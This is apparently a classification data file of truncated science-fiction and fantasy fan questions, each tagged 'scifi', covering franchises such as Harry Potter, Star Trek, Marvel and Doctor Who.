Are there vampires in Star Wars? (I was prompted to ask by this answer) ",['scifi'] "Title: Where is Victor Fries's family from? Body: In Batman Annual #1 (in the New 52 reboot), we see a few flashbacks to Victor Fries's (Aka Mr. Freeze) youth. In one of them he is discussing building snowmen with his mother, and she responds by ... ",['scifi'] "Title: Spiderman not in Avengers [duplicate] Body: Possible Duplicate: Is the Hulk in the Avengers the same as in the other movies? Why wasn't Spiderman featured in the movie 'Avengers',even though he's an ace superhero of the Marvel ... ",['scifi'] "Title: Is “TARDIS” an acronym or backronym? Body: The title pretty much says it all. I see in this article an in-universe explanation, but I'm thinking more out of universe, from an original writing and production point of view. Any Whovian can ... ",['scifi'] "Title: When was the sword of Elendil reforged in Jackson's movie? Body: From the Tolken's LotR series it is mentioned that the Sword of Elendil was forged anew before Frodo departed from Elrond's house, but if my memory serves me correctly, in the Peter Jackson's ... ",['scifi'] "Title: When did Obi-Wan change his name to Ben? Body: In the fourth episode of Star Wars, ""A New Hope"", Obi-Wan tells Luke that he hasn't used ""Obi-Wan"" since a long time before Luke was born. But in the third movie, ""Revenge of the Sith"", Obi-Wan uses ... ",['scifi'] "Title: Were Dementor effects targeted? Body: Dementors seemed to have had some distance effects on humans - the feeling of coldness, moral depression, darkness. Is there canon evidence that these area effects where targeted at specific ... ",['scifi'] "Title: Did the Firemen in “Fahrenheit 451” put out fires as well? Body: I remember they were specifically equipped to start fires. Did the ""Fahrenheit 451"" Firemen put out fires when they weren't burning books? ",['scifi'] "Title: Have there been other humans on Barsoom/Mars? Body: At the beginning of John Carter: A Princess of Mars, Carter takes refuge in a cave which turns out to be sacred (presumably to the Apaches which he is trying to escape from). His consciousness is ... ",['scifi'] "Title: In Eureka series 5, how come the crew of the Astraeus don't notice? Body: In Eureka series 5 episode 1 (the others haven't aired yet where I live) the crew of the Astraeus Now I know that Eureka is very substantially self-sufficient, so I can almost accept that they ... ",['scifi'] "Title: Why did Hermione use *Galleons* for DA communication method? Body: The rationale (if I recall) behind Hermione's reason for creating a special token for DA members to be notified of the meetings, and using a coin, was that a coin was an expected item for a student to ... ",['scifi'] "Title: Does Wonder Woman Age? Body: The Young Justice lists Wonder Woman's age as being 85 year since she was molded out of clay. Does Wonder Woman age at all, at a reduced rate, or will she live forever? Is this lack of aging ... ",['scifi'] "Title: Is any of Batman's technology extraterrestrial? Body: Since Bruce Wayne is rich, he get a lot of cool gadgets for his Batman costume. Does he have anything Alien incorporated into his suit or weapons? It seems that all he has is tech from Earth despite ... ",['scifi'] "Title: What happens to a padwan whose master died before the training is finished? Body: In jedi order a padwan is trained under one master, at a time a padwan can not be trained under two masters and a master can not train two padwans. If a padwan is having his training phase where ... ",['scifi'] "Title: Who first implemented the three-breasted character? Body: I am trying to figure out who implemented the first three-breasted character, as seen in Total Recall (1990). I know someone who says there was such a character in the original Battlestar Galactica ... ",['scifi'] "Title: Did any of the Harry Potter characters that we loved leave a ghost behind upon death? Body: Of the more important characters who die in the series, in particular in Deathly Hallows, do some of them have a ghost? I think they qualify as having unfinished business. ",['scifi'] "Title: Batman Uses Guns, Or Not Body: Batman, the dark hero. Noted for his refusal to wield guns. Is there anything out there that explains why, or goes back to cover up why, the silver-age Batman did use guns? Of course, this refusal ... ",['scifi'] "Title: Does time move differently on Mars? Body: When John Carter is returned to Jarsoom/Earth by the Thurns, he arrives in his body in the gold cave and is suffering from atrophy of his muscles. The sheriff is also just a pile of bones. How much ... ",['scifi'] "Title: Anthology of short stories; one about killer whales in space, another about a bodyguard on a desolate colony Body: I am looking for a book that I borrowed from the library from the mid to late 90s. It featured a number of science fiction short stories from different authors. The only story I am able to remember ... ",['scifi'] "Title: Is C3PO able to learn new languages? Body: Sure, he(it) is fluent in over 6 million forms of communication. But the ewoks were on a primitive moon. They clearly were removed from the galactic scene until the Empire began construction on the ... ",['scifi'] "Title: How did Snape find Harry and Hermione in the Forest of Dean? Body: While this question answers how Snape knew Harry and Hermione were in the Forest of Dean, how did he know exactly where to send his patronus so that Harry would see it and be led to the sword of ... ",['scifi'] "Title: Story identification about trolls under a bridge and gold coins Body: My husband and I went to see Snow White and the Huntsman tonight, and it sparked a memory in both of us of a scene from a different fantasy movie/tv show, but neither of us can place it. What we ... ",['scifi'] "Title: Does Chekov believe his claims? Body: So, in Star Trek: The Original Series, the character Pavel Chekov was introduced in the second season. Among his quirks is claiming that a whole bunch of things were invented in Russia. For a small ... ",['scifi'] "Title: Do spaceships have Earth vermin? Body: Pests are always sneaking into cargo bins in one place and escaping into another place far away. Can somebody please name the first novel, comic or movie that depicts rats or other Earth vermin ... ",['scifi'] "Title: What does a person's patronus imply about their personality? Body: Harry's patronus is a stag. It pretty obviously is a direct reference to his father's animal form (His father's patronus was also a stag). Hermione's patronus is an otter, and Harry's mother's (and ... ",['scifi'] "Title: Can there be any more NEW Time Lords? Body: According to this answer, a time lord can only be ""created"" on Gallifrey: The title and distinction belongs solely to those beings from the world of Gallifrey who have been indoctrinated, trained ... ",['scifi'] "Title: Who is the highest selling non US comic book superhero? Body: There must be foreign comic book superheroes, protagonist characters with superhuman or magical abilities. Which superhero is the highest selling, therefore the most popular, superhero published ... ",['scifi'] "Title: Why aren't people allowed to Apparate or Disapparate within Hogwarts? Body: It is mentioned many times that people cannot Apparate or Disappate within Hogwarts. That is all well and good. Except in Harry's 6th year, when all the 6th years are learning how to Apparate. The ... ",['scifi'] "Title: What happened to Captain Picard's fish? Body: In Star Trek Generations the Enterprise D crash lands on a planet and is effectively destroyed. We see that Data recovers his cat, Spot, but the fish Picard kept in his ready room is not seen or ... ",['scifi'] "Title: Final crack in the universe Body: As of the the 6th season finale, was the universe crack on the TARDIS monitor-screen thing purged after the Doctor went to June 25, 2010? ",['scifi'] "Title: Is River Song a timelord? Body: Is River Song considered a timelord? Or is she considered a ""fancy"" human that can regenerate? Do we know anything of her physiology to let us know if she is a timelord (eg. two hearts), or (again) ... ",['scifi'] "Title: How did Thor and Loki Return to Asgard? Body: At the end of Avenger's Assembled, Thor takes Loki back to Asgard. He uses some device we don't see before that, which works with the tesseract. Does this mean that the Asgardians have their own ... ",['scifi'] "Title: Who broke death first? Body: The conclusion to the The Death and Return of Superman video is that DC, by killing and reviving Superman, ""broke death"". By which they mean that other titular characters who died subsequently were ... ",['scifi'] "Title: How does the Federation determine how to set their clocks? Body: I called someone on the other side of the world. Where I was, it was 9:00pm. Where they were, it was 11:00am the next day. This got me thinking about Star Trek. Frequently in Voyager, Tom Paris is ... ",['scifi'] "Title: Why would Roxxon destroy a whole island full of Vibranium? Body: From Vibranium Wiki: One such instance was when the oil conglomerate Roxxon discovered that a small island in the South Atlantic had a foundation composed of vibranium. Due to this, Roxxon found ... ",['scifi'] "Title: Are wormholes in Star Trek bounded by galaxies? Body: Do we ever see a wormhole in Star Trek that goes beyond our galaxy? Wormholes are able to cross great distances, but I don't recall ever seeing one that emerged anywhere else. ",['scifi'] "Title: Where can I buy comics online for UK delivery? [closed] Body: I've been dealing with www.reedcomics.com recently, but I've been having some issues (No pun intended). Are there other options to buy comics online for UK delivery? ",['scifi'] "Title: How did Varys become a Eunuch? Body: In Game of Thrones Season 2, Episode 9: ""Blackwater"", Varys had this talk with Tyrion Lannister: Varys: I don't believe I've ever told you how I was cut. Tyrion: No, I don't believe you have. ... ",['scifi'] "Title: How similar is Earth-2 to the DCnU's Earth-1? Body: In the DC Earth Two (issue #1) Wonder Woman keeps refering to the gods by their Roman names. On the normal Earth they use the Greek names. This means all the gods are the same, but for some reason ... ",['scifi'] "Title: Is Earth the only planet with mutants? Body: In the Marvel Universe there are lots of powerful beings. Without taking in account lab accidents, as far as I know, all powerful Earthlings are granted with superpowers by a mutation. One they were ... ",['scifi'] "Title: What is the ‘beam’ in Cherryh’s Heavy Time? Body: In C. J. Cherryh’s Heavy Time & Hellburner (also published together as Devil to the Belt), there seems to be some sort of propulsion used by in-system ships called a “beam”; it’s controlled by ... ",['scifi'] "Title: Why don't Melisandre and Stannis create more shadow monsters? Body: Melisandre (the fire priestess) and Stannis used a shadow monster to The creature is seemingly a very effective assassin. So why don't they create more of them (or make the one that already exists) ... ",['scifi'] "Title: What would happen if a Ghost were to walk through the Veil in the Death Chamber? Body: Will they be able to walk-through it? If so, will they successfully cross over to the land of the dead? ",['scifi'] "Title: What really happened to the nose of Voldemort? Body: Nose of Tom Riddle (as a student) was fine, as I have seen in Movie. But, Voldemort's nose doesn't look like normal human nose. What really happened? ",['scifi'] "Title: What evidence points to Xenomorphs being biologically engineered? Body: It has been suggested elsewhere on SF+F that the Xenomorph species in the Alien franchise is bio-engineered, possibly with specific focus on targeting the human species. Apparently this may be a plot ... ",['scifi'] "Title: What's with the bunny hate? Body: Anya hates bunnies. In ""Once More With Feeling"" she sings what might be my favorite lyrics of all time: Bunnies aren't just cute like everybody supposes, They got them hoppy legs and twitchy ... ",['scifi'] "Title: In Harry Potter why didn't the Order call the muggle PM for help? Body: When V was attacking Hogwarts etc and the muggles had as much to lose as the wizards why didn't the Minister of Magic/Order whomever contact the muggle PM and ask for help. There might have been ... ",['scifi'] "Title: Do Timelords Need to Sleep? Body: The types of stories told in Doctor Who usually happen quickly, one event after another. For instance The Unicorn and the Wasp seems to happen in one afternoon running into the evening. These ... ",['scifi'] "Title: How did Xindi contact trans-dimensional beings? Body: After Archer got captured and he told some dirty secrets to Degra and good council members, it was shown that they called on a meeting with trans-dimensional being for doubt-clearance. How did they ... ",['scifi'] "Title: Why didn't Andromeda have an android body? Body: In Andromeda, most (all?) of the High Guard ships have an android “avatar” that looks the same as the ship's persona (as opposed to the other, robot-like androids) and contains parts of the ship's AI. ... ",['scifi'] "Title: Why does Captain America's Shield make noise? Body: If the shield doesn't vibrate, how could it produce sound? This would necessitate something vibrating to move the air. The only thing that I can think of that is plausible, is that vibranium is able ... ",['scifi'] "Title: Did Scooby-Doo and the original team of meddling kids ever uncover something that was supernatural or real? Body: Almost every Scooby-Doo mystery was scifi/fantasy until they were debunked in the end. In all of the Scooby-Doo episodes and movies or comics(excluding anything with his nephew in it) is there even a ... ",['scifi'] "Title: How exactly do Wolverine's claws come out? Body: In answering this question Could Wolverine's claws be prevented from unsheathing if his wrists are bent? I couldn't find anything that actually described what caused Wolverines claws to pop out. ... ",['scifi'] "Title: Could Wolverine's claws be prevented from unsheathing if his wrists are bent? Body: When retracted, Wolverine's claws are stored in his arms. In order to unsheathed them, they must pass though his wrist and move along the space between his knuckles. Due to the way Wolverine's claws ... ",['scifi'] "Title: Are the Adventure Time comics canon? Body: Is the Adventure Time comic from KaBOOM! canon with the television show? ",['scifi'] "Title: Why did the tractor beam of the Enterprise crush the fighter jet of 20th century? Body: In ST:TOS, while escaping the gravitational pull of a black hole, the USS Enterprise suffered the slingshot effect. It was thrown back in space-time by cut of stretched rubber band type force. The ... ",['scifi'] "Title: In “Good As Gold” How did the Doctor “destroy” the angel? Body: In the Doctor Who Script To Screen Episode Good as Gold the Doctor seemed to have ""destroyed"" the Weeping Angel. How did he do that? He has never been shown to be able to do that before! ",['scifi'] "Title: Why did Caradhras not want the Fellowship to pass? Body: I haven't read the books in a long while, but when I was re-watching the movies recently, I remembered that even though it is depicted as Saruman causing the avalanche/storm on Caradhras, the book ... ",['scifi'] "Title: Are the aliens from the Alien movie series more hive minded or more like individuals? Body: The aliens seem somewhat hive minded, based on the idea that they have a queen, eggs, soldiers, and generally are organized using a hive structure, including the building of hives and food storage ... ",['scifi'] "Title: Why didn't Dumbledore hunt down Death Eaters after Voldemort was gone? Body: Dumbledore and powerful magic users never believed that Voldemort was killed by Lily. They suspected that Voldemort would return by a way. After returning, its likely that loyal Death Eaters would ... ",['scifi'] "Title: Do all terminators have to travel back in time naked? [duplicate] Body: Possible Duplicate: Nude time travel in Terminator Universe In the first Terminator film, the T-800 travels back in time completely naked. See Nude time travel in Terminator Universe for ... ",['scifi'] "Title: What happened to Pixie in the mines of Abergylid? Body: In the Free Comic Book Day 2008 issue ""Pixies and Demons"", the X-Men head into the mines of Abergylid chasing demons. On their way down on a lift, Emma Frost telepathically says to Pixie, ""I can feel ... ",['scifi'] "Title: What is the meaning of wasps nest symbolism from Neuromancer? Body: What is the meaning of wasps nest symbolism from Neuromancer ? When Case had some mental problems he recalled a memory of a broken wasps nest a few times. ",['scifi'] "Title: Why do the Borg only assimilate at close range? Body: Ever since the Borg evolved to include the nanoprobe-injecting tubules in First Contact (at least, I assume they had only recently developed them since we never saw that method of assimilation ... ",['scifi'] "Title: What's with “He-Who-Must-Not-Be-Named”? Body: Right from The Philosopher's Stone to The Goblet of Fire, as far as the Magical Community was concerned, ""The Boy who Lived"" had lived while Voldemort had been defeated. It's understandable that ... ",['scifi'] "Title: Why does Charlton Heston's character not realize he's on Earth when he hears apes speaking English? Body: In the original Planet of the Apes movie, long before Charlton Heston's character, Taylor, has his big moment of realization at the base of the remains of the Statue of Liberty, he encounters a bunch ... ",['scifi'] "Title: What is on Lady Cassandra's back? Body: Lady Cassandra, the last human from the ""The End of the World"" episode, has had over 700 surgeries. She has become nothing more than a face on a piece of skin stretched onto a frame and connected to a ... ",['scifi'] "Title: Are there any subtle hints towards Lord of the Rings in A Song of Ice And Fire? Body: Although George R. R. Martin has been accused of criticizing the moral simplicity of Tolkien's work with his series A Song of Ice and Fire, he has often said that he read and enjoyed Lord of the Rings ... ",['scifi'] "Title: In the 2002 Resident Evil film, who is the thief working for? Body: At the beginning of the Resident Evil movie, we see somebody stealing from The Umbrella Corporation. Is there an in-universe answer as to who the T-Virus thief is planning on selling the T-Virus and ... ",['scifi'] "Title: How did Nick Fury lose his eye and get his eye patch? Body: In The Avengers (2012), Nick fury wears an eye patch. I did my homework, and Wikipedia gave me one explanation: Fury's injured left eye, though initially minimally affected by a grenade blast ... ",['scifi'] "Title: Retina Scan [Avengers' 2012 Movie] [closed] Body: In the Avengers' Movie - what exactly did happen after the retina scan - what was so great about about the thing he gained access to that Loki started creating a mess everywhere -going to the streets ... ",['scifi'] "Title: Why doesn't Batman make an armored suit like Ironman? Body: I understand he doesn't kill, but when he goes with Justice League, he could make some kind of armor to fight v.s. the strongest enemies. He has the money and the engineers plus access to alien tech.. ... ",['scifi'] "Title: Was Professor McGonagall a Seeker/Quidditch player at School? Body: My question is based upon the following frame from the first Harry Potter film (Philosopher's Stone). It shows her name on the right hand side. Well, just wondering, as she's so into Quidditch. ",['scifi'] "Title: How does Mrs. Norris communicate with Mr. Filch? Body: I was petting my cat when I started musing, how does Mrs. Norris communicate/talk with Mr. Filch, the Caretaker at Hogwarts? Throughout the books it is mentioned that Mrs. Norris helps Filch to patrol ... ",['scifi'] "Title: How much did Iron Man's suitcase weigh? Body: How much was Iron Man's suitcase supposed to weigh in the Iron Man 2 movie? Happy Hogan played by Jon Favreau seems to haul it around fairly easily. ",['scifi'] "Title: Why is Asshai-by-the-Shadow a dangerous place? Body: In both the Song of Ice and Fire books and the TV series there are references to a mysterious land called Asshai-by-the-Shadow. In the TV series, both Ser Jorah and Quaithe (the woman with the mask) ... ",['scifi'] "Title: In what comics do the Avengers and the Phoenix Force battle in? Body: I've been keeping up with the AvX storyline but in a couple of the ones I've read, I've gotten part of the Avengers vs Phoenix Force fight but not all of it. The parts I've found are also somewhat ... ",['scifi'] "Title: In 'The Moon is a Harsh Mistress' what are Garrison didos? Body: In numerous locations in Heinlein's Moon he refers to Garrison orbits or Garrison didos. Based on context I've always interpreted dido as DIrect De-Orbit but having searched for a better definition ... ",['scifi'] "Title: Why was the Mad Hatter aware of the curse? Body: I am wondering if there is a reason given (as of the end of season 1) for why the Mad Hatter is aware of the curse. It's clear that Rumpelstiltskin and the Evil Queen are aware because they are ... ",['scifi'] "Title: Are there any official statements about Hogwarts during Harry's absence to search horcruxes? Body: I'm asking this out of love for the Harry Potter series, of course, and because I want to write a fanfic that takes place at Hogwarts during Harry's (absent) seventh year. There's only very little ... ",['scifi'] "Title: What are Hermione's parents' REAL names? Body: So, we know they're dentists and that their aliases (after Hermione modifies their memories) are Wendell and Monica Wilkins. But have their real names ever been divulged? If yes, what are they?? ",['scifi'] "Title: Trying to identify a book about life on the side of an infinitely tall wall Body: I'm trying to find a book about a city built on the side of an infinite wall - infinitely tall as well as infinitely long. There was a picture of it on the cover. The city is built on platforms ... ",['scifi'] "Title: Identify YA series about magical cats Body: I'm looking for a series I read five or more years ago, about cats (strays, but also housecats) who I'm pretty sure lived in a fairly big city and had some kind of ability that involved seeing ... ",['scifi'] "Title: Kyokasuigetsu's Kanzen Saimin (Complete Hypnosis) Escape Method Body: During Ichimaru gin's betrayal toward Aizen in Bleach, he mentions that the only way to escape Kyokasuigetsu's power, Kanzen Saimin or Complete Hypnosis, is to touch the tip of the blade before it is ... ",['scifi'] "Title: What shares a universe with Planetary? Body: After reading some Planetary, references are made to other groups that apparently actually have written works (The Authority, S.T.O.R.M. Watch, etc.). After doing some more reading about the universe, ... ",['scifi'] "Title: What hints at the identity of the fourth man? Body: In Chapter Twelve of Planetary, it is revealed that I suspect there are more than a few hints at this fact, and noticed a couple myself. What foreshadows this reveal, both visually and in the ... ",['scifi'] "Title: What stops other benders from mastering the four elements? Body: In the Avatar universe, what is it that stops other people physically or spiritually, besides the Avatar, from mastering the four elements? ",['scifi'] "Title: What defines the upper limit for speed of Subspace Communications? Body: Memory Alpha mentions there to be a definite upper limit as to the speed of Subspace Communications. Is the reason for this ever touched on in any of the Star Trek media (Canon or not) or is it ""speed ... ",['scifi'] "Title: In The Stepford Wives, were the wives turned to robots? Body: In the newer version of the Stepford Wives (2004), it shows some of the ""turned"" wives doing humanly impossible things like placing a hand on a burning stove, spinning at high velocity, or despensing ... ",['scifi'] "Title: How does Fantomex's misdirection ability work? Body: Fantomex is often seen using his misdirection power. Has it been detailed how this works? There seems to be a range of suggested causes. Wikipedia describes it as extremely realistic ... ",['scifi'] "Title: Why does Peeves listen to the Bloody Baron? Body: Peeves the poltergeist very rarely takes commands from anyone. However, he does listen to the Bloody Baron. What's the story behind this? Let me summarize some of what we know about Peeves. We ... ",['scifi'] "Title: What type of paper is used for the inscription in The Last Crusade? Body: Near the beginning of Indiana Jones and the Last Crusade, after copying the rest of the missing inscription from the knight's tablet onto what appears to be some kind of rice paper, Indiana Jones and ... ",['scifi'] "Title: Who does The Council represent? Body: In the film The Avengers, Nick Fury takes orders from a shadowy group called 'The Council'. They appear to be made up of people from different countries, at least based on their accents and a bit of ... ",['scifi'] "Title: What are these events from Widow's past? Body: In the film The Avengers, Black Widow and Loki have a discussion. During it, Loki refers to some of the red on Black Widow's ledger (i.e. things she regrets or owes people for). The items he ... ",['scifi'] "Title: Does a new species always need to contribute a technology advancement in order to be assimilated by the Borg? Body: Does a new species always need to contribute a technology advancement in order to be assimilated by the Borg, or do the Borg assimilate less advanced races as well, thus trading collective IQ for ... ",['scifi'] "Title: Did any of TOS 5 year mission first contacts aliens show up in later Star Trek episodes as Borg? Body: Are there any examples of Star Trek TOS aliens being assimulated by the Borg in any of the following versions of the Star Trek TV/Movie franchise? ",['scifi'] "Title: Book about Dragons Ending (Turning to stone) Body: I read a book once that was some variation on a fantasy setting with magic and such, but the one factor I recall about it was that the dragons in this world could End - essentially, they turned into ... ",['scifi'] "Title: In the movie Thor, why are there several scenes where they ride horses? Body: In the scene where Thor leads the party to Jodenheim they travel across the rainbow bridge on horseback. At the end of the movie when Loki is using the Bifrost to destroy Jodenheim, Thor uses Mjolnir ... ",['scifi'] "Title: If Banner can control Hulk, why doesn't he? [duplicate] Body: Possible Duplicate: In the Avengers movie, why is Hulk's behaviour inconsistent? Near the end of The Avengers, Banner shows he can control the Hulk after saying So here's the ... ",['scifi'] "Title: How did Bruce Banner become the Hulk at will? Body: In the Avengers movie, I thought Dr. Banner would become the Hulk during his collision, but he became the Hulk just before the collision when he was not angry (or, similar emotion). How? ",['scifi'] "Title: Machineman / Batman driving awkwardly Body: Why does Machine Man and/or Batman in the Dark Knight, have to drive their Car / Bat Mobile faced down. What is the reason for this? Machine Man always drives his car facing down but Batman converted ... ",['scifi'] "Title: How many Time Lords are there after Time War? Body: How many Time Lords are there after Time War? ",['scifi'] "Title: Etymology of the name Quinjet? Body: In the Marvel universes, the Avengers' jets are Quinjets. What's the etymology of this name? Does this refer to someone in the universe? Or a comic book creator? ",['scifi'] "Title: Why is it called a “healing factor”? Body: Wikipedia and Marvel both list wolverines main mutation as a Healing Factor. A healing factor of...what? 2? 3? Over 9000? Every time I've used the term 'factor' in the sense of it describing ... ",['scifi'] "Title: What does “Seven” and “nine” mean in “Seven of Nine”? Body: She is one of a gajillions of Borg drones. What exactly does ""Seven of Nine"" means as far as drone identifications? Shouldn't she have some GUID instead? ",['scifi'] "Title: Why was Dumbledore's portrait not given a more extant role in the story? Body: Dumbledore's portrait was in the office, Harry could have interacted with it. McGonagall would have allowed him private conversations with it if necessary. Even if it was just an imprint, it would ... ",['scifi'] "Title: Who is The Fulcrum? Body: The Fulcrum is considered The One-Above-All. The Dreaming Celestial stated that: ""Every component in the physical Universe is a model/example/function of balance... Every ... ",['scifi'] "Title: How can Giant-Man access the “realm of the abstract entities”? Body: When Giant-Man fights the Absorbing Man in Avengers Academy #7 he takes him to the ""realm of the abstract entities"". Has it been established how growing or shrinking could take someone to that? ",['scifi'] "Title: In The Magicians why was Q considered for advancement with Alice and Penny? Body: Alice showed exceptional natural talent as well as she was top of the class. Penny took his exam test in record time and also seemed to be a natural. Other than Quentin's final Intro test he didn't ... ",['scifi'] "Title: Is a design like Varus' bow possible? Body: I'm not an archer, but I saw this and thought it was cool: Ignoring the fact that it's magical, are bows with 4 or more limbs and 2 or more strings possible in reality? Would there be any benefits? ",['scifi'] "Title: Time War Time Lock Body: In Doctor who, there was a war between the Daleks and the Time Lords, because of the technology the Time Lords possessed, the misused the powers during the war with the Daleks. Q. When the Time Lock ... ",['scifi'] "Title: Does the Carlos Wu redesigned Autodoc recycle dead crewmates during the process of healing injured crewmembers that are placed inside of it? Body: In the Larry Niven/Edward M. Lerner novel ""Juggler of Worlds"", Sigmund Ausfaller, ARM Agent, notes Beowulf Shaeffer was smaller in stature and now had the body mass of a missing crewmember after ... ",['scifi'] "Title: How can Shan Elariel burn brass in her glove? Body: Of the Mistborn Series, I am still listening to the first audio book. But I think this question won't be answered by me reading further: Kelsier is told (I forget whom by) that she has a slither of ... ",['scifi'] "Title: How can Wolverine stand with so much Adamantium? Body: Adamantium is an indestructible metal in the Marvel Comics. Wolverine was infused with the metal. But since the metal is indestructible it means it is dense, very dense. How can Wolverine stand ... ",['scifi'] "Title: Why is Tony Stark in the Iron Man suit unaffected by G-forces, inertia and blunt force trauma? Body: Tony's suit is an engineering marvel, and they explain many facets of the technology to help give legitimacy to the special powers, abilities and weapons it has. I never read the Iron Man comics, but ... ",['scifi'] "Title: What was the first work to posit the equivalence of magic rituals and computer algorithms? Body: I have run across a small number of stories that posit a metaphysical equivalence between traditional magical rituals, and modern mathematical rituals (i.e. computer programming or proving certain ... ",['scifi'] "Title: Why was Kate Wilson so afraid of water? Body: The video game Hydrophobia indicates that our protagonist was afraid of water. Throughout the development of the story, this is backed up by her reactions to the slowly sinking ship and the vast ... ",['scifi'] "Title: Did Frank Herbert ever record any Dune audio books himself? Body: The question pretty much says it all. On Wikipedia it states In 1993, Recorded Books Inc. released a 20-disc audio book narrated by George Guidall. In 2007, Audio Renaissance released an audio ... ",['scifi'] "Title: What was the Kremling's business with bananas? Body: The Kremlings were cold-blooded reptiles, which are usually carnivores. Why would they go to the immense trouble of stealing the Kong banana hoard and defending it from our two favourite monkeys on ... ",['scifi'] "Title: When did the Strogg start assimilating prisoners? Body: We know that the Strogg in Quake IV recruit their solders by ""stroggifying"" (i.e. assimilating) their captured human enemies. However, I don't recall them doing so in Quake II. Was that plot element ... ",['scifi'] "Title: Why can't some vampires hear Bella's heartbeat? Body: Why can't James, Laurent & Victoria ""hear"" Bella's heartbeat as they are standing in the field? In all of the books it is made quite clear that the vampires hear Bella's heartbeat whenever she's ... ",['scifi'] "Title: Jasper's full name in the Twilight movie Body: Why aren't Rosalie and Jasper surnamed Cullen? I can't understand why they are Hale and not Cullen. ",['scifi'] "Title: Who shot down Jack Mason's transporter in the beginning? Body: In the prologue to Pariah, the ship that transports Karina is shot down by an unknown party. It happens over Scavenger territory, but it apparently Scavengers wouldn't be properly equipped to shoot ... ",['scifi'] "Title: Who was Nick Fury talking about on the ship? Body: In The Avengers film when they're all arguing on the airship (after they find out about Phase 2), who was Nick Fury talking about when he said a year ago someone came to Earth and leveled an area in a ... ",['scifi'] "Title: What took Bella so long to turn into a Vampire? Body: At the end of Twilight Saga: Breaking Dawn Part I movie, Bella didn't turn into a vampire for a long time even after being bitten for multiple times. Why didn't she turn into a vampire soon as ... ",['scifi'] "Title: Is there any canon proof that Elder Wand actually works as reputed in a duel? Body: There seems to be a lot of power attributed to the Elder Wand by various sources in Deathly Hallows. However, looking at it soberly, there doesn't seem to be almost any actual evidence to support ... ",['scifi'] "Title: What does 'And Another Thing' add to The Hitchhiker's Guide to the Galaxy? Body: 'And Another Thing' is the 6th story of the trilogy, but to my recollection the HHGG is wrapped up fairly well in the last episode of the Radio series (though confusingly). What major elements does ... ",['scifi'] "Title: Why didn't Batman's motion detectors go off in JL:DOOM Body: In the movie Justice League Doom, Mirror Master sneaks in the Batmobile and then into the Batcave to use a device to steal files from Batman's computer. Batman says that because Mirror Master was in ... ",['scifi'] "Title: How powerful is Superman typically, vs ultimately? Body: When discussing Superman online, we often see people cite random examples of Superman doing something outside of his typical power levels, to show that he is capable of that and then to use that as a ... ",['scifi'] "Title: Is there any link between the Heroes of the Elder Scrolls games? Body: In the Elder Scrolls saga, you play as a different character in each game. In Arena, you play as a minor member of the Imperial Court who was imprisoned during the Imperial Battlemage's power grab. In ... ",['scifi'] "Title: How does the Doom Guy trigger the Soul Cube? Body: From the Doom wiki, when we first pick up the Soul Cube, it tells us: Destroying evil gives us life, and makes us stronger. Unleash us when you hear our call. We will pass the life force of those ... ",['scifi'] "Title: What is the natural prey for headcrabs? Body: Headcrabs perfectly fit on human heads. But they must have evolved to that point on their home world (which is not Xen, btw.) without humans. How did their food chain look like before they came ... ",['scifi'] "Title: What prevented Duke Nukem from mutating in the Duke Nukem video games? Body: I remember fighting and shooting everything as Duke spouted one liners he borrowed from Bruce Campbell. What prevented the dancing girls & Duke Nukem from morphing during crisises that made him ... ",['scifi'] "Title: How deep was the fog? Body: In The Fifth Element the city of New York appears to have a perpetual layer of fog clinging to its lower levels. Presumably this fog reaches all the way to the ground, but I don't recall this being ... ",['scifi'] "Title: Which films should I see before “The Avengers”? Body: I haven't seen any of the movies in the universe that includes The Avengers. However, this one is a Joss Whedon film, so of course I'll see it. But first, should I go watch any other movies in that ... ",['scifi'] "Title: What short story is about an alien race that threatened to blow up the world if we didn't decode a message? Body: Does anyone remember an old (about 30 years) short about an alien race that threatened to blow up the world if we didn't decode a message. The message was delivered by 5 frog like creatures, that ... ",['scifi'] "Title: Why is Bella's unborn child referred to as a devil? Body: In Twilight Breaking Dawn Part 1, why is Bella's unborn child referred to as ""Devil""? ",['scifi'] "Title: Is the world doomed? Body: In answering a question about Dementors having magic, David Stratton referenced a J.K. Rowling quote, included below. Cornersoul: So what happens to all the dementors where will they go will ... ",['scifi'] "Title: How many Megami Tensei timelines are there? Body: The Megami Tensei games and their many spinoffs have some obvious linkages - for example Shin Megami Tensei 2 directly follows Shin Megami Tensei 1; the Persona 2 duology directly follows Persona: ... ",['scifi'] "Title: How does the large golden dome on Riven work? Body: Most of the mechanical items found on Riven are based on real-world items or have some mechanical logic. On the first island of Riven, there is a giant golden dome, inside of which can be found a lake ... ",['scifi'] "Title: Do Dementors Have Magic? Body: Are Dementors magical creatures with inherent magical powers? Or do their powers of despair, depression, cold, and hopelessness come from their eternally soulless existence? Do we ever see Dementors ... ",['scifi'] "Title: How are the 3 sisters human? Body: In the game Lunar: Silver Star Story Complete or it's PSP port/remake Lunar: Silver Star Harmony, there are 3 villains who are allies of the Vile Tribe. They are the 3 sisters - Xenobia, Royce, and ... ",['scifi'] "Title: Is Batman: Arkham City set before or after the birth of Damian Wayne? Body: In the video-game Batman: Arkham City, Talia al Ghul and Bruce Wayne's conversations make no mention of their son. Is the game set before, after or on an entirely separate timeline to Damian's birth? ",['scifi'] "Title: Approximately how many Avengers are born mutants? Body: It's clear that many Avengers are NOT mutants (a good starting list was in this question), but some/many are (Namor, Quicksilver, Scarlet Witch, Squirrel Girl). Is there a good estimate of how many ... ",['scifi'] "Title: Short story where humans (miners?) conflict with collectivist leaderless aliens who cause earthquakes Body: The short story is about humans turning up on an alien world to mine/settle/whatever and the culture of the aliens is such that there is no actual leadership or collectivism or anything like that but ... ",['scifi'] "Title: What's the sequence of events Milo discovers in “The Counterfifth Detective”? Body: In the 100 Bullets storyline ""The Counterfifth Detective,"" the solution of the mystery is never spelled out clearly - it's not explicitly explained who was angling for what, and who it was who ... ",['scifi'] "Title: How long does it take for dragons to grow? Body: I apologize for not having read the books, but in the TV series Daenerys's dragons are very small and don't seem to grow. I was wondering how long it will take them to grow to the size that they can ... ",['scifi'] "Title: Shouldn't Terry's younger brother have the same genetic traits as him? Body: In the final Justice League Unlimited episode Epilogue Waller reveals this about Terry Shouldn't Matt McGinnis (the younger brother) also be like this? ",['scifi'] "Title: Did all Headmasters get a portrait in Hogwarts? Body: Throughout the Harry Potter series, we see that deceased Headmasters of the school get a semi-sentient portrait of themselves in the Headmaster's Office, at the service of the current Headmaster. Do ... ",['scifi'] "Title: Why is knowledge of energy bending rare? Body: In the finale of Avatar: The Last Airbender, it's revealed that there's another form of bending called energybending. This was the form of bending used by people before the Avatar existed, and before ... ",['scifi'] "Title: What happened to the head-shot version? Body: We follow one iteration of Jess around the film, from the 